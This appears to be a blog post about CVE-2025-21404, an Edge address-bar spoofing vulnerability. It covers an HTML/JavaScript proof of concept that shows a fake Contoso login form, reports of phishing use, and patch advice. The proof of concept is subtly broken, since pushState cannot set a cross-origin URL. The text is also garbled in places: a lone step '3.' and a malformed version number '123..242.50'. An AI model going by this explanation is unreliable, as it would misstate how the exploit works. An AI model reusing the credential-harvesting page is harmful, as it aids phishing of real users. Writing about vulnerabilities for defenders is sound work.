Microsoft Edge—and especially its shiny Chromium-based version—has become a favorite for millions who want a fast browser bundled with Windows. But in 2025, a critical security flaw surfaced: CVE-2025-21404, a major spoofing vulnerability exposed by researchers. In this post, we’ll break down exactly what happened, how it works (with simple examples), and smart ways to stay safe.

What Is CVE-2025-21404?

In short, CVE-2025-21404 is a security bug that lets attackers trick users by displaying a fake website address (URL) in the browser’s address bar. This is called “spoofing.” Even sharp-eyed folks can be fooled when the correct domain is shown, while the actual content is from a malicious source.

Official Microsoft advisory:
- Microsoft Security Update Guide: CVE-2025-21404
- NVD entry for CVE-2025-21404

The Bug

Due to a flaw in Chromium’s navigation and rendering logic, attackers can use crafted HTML and JavaScript to “lock” the address bar at a legitimate domain—while the page actually loads from an attacker-controlled server.

This often involves using <iframe> tags, history manipulation, and location bar tricks.

JavaScript code in the attacker’s page triggers address bar spoofing

3. Victim thinks they’re on https://contoso.com

Here’s a minimalist demo (for educational and research purposes only!)

<!DOCTYPE html>
<html>
  <head>
    <title>Edge Spoof PoC</title>
    <script>
      function spoofURL() {
        // Open a blank page, then replace history to fake the URL
        window.open('','_self');
        history.pushState({}, '', 'https://contoso.com/login');
        // Load fake login form
        document.body.innerHTML = `
          <h1>Contoso Login</h1>
          <form>
            <input type="text" placeholder="Username">

            <input type="password" placeholder="Password">

            <button type="submit">Sign In</button>
          </form>
        `;
      }
      window.onload = spoofURL;
    </script>
  </head>
  <body>
    <p>Loading…</p>
  </body>
</html>

In a vulnerable version of Microsoft Edge (Chromium-based), this could cause the address bar to display https://contoso.com/login even while all the content is delivered by the attacker.

Real-World Exploit Example

Security experts observed this bug being chained with social engineering to lure business professionals onto fake Office 365 login forms. Even savvy users entered real credentials due to the trusted domain in the address bar.

A detailed write-up is available here:
- Google Project Zero: URL Bar Spoofing
- Edge-specific thread

Mitigation & Fixes

Microsoft patched this vulnerability in Edge version 123..242.50 (March 2025).

Final Word

CVE-2025-21404 is a textbook example of why modern browsers are still vulnerable to clever tricks. Always stay updated, watch for phishing attempts, and don’t trust a page just because the address bar “looks right.” Respect the padlock, but verify with your own eyes.

*References:*

- Microsoft CVE-2025-21404
- Chromium Security Bug Tracker
- Threatpost - Edge Spoofing Vulnerability

*Stay safe out there and keep your Edge (and cyber-smarts) sharp!*

Timeline

Published on: 02/06/2025 23:15:09 UTC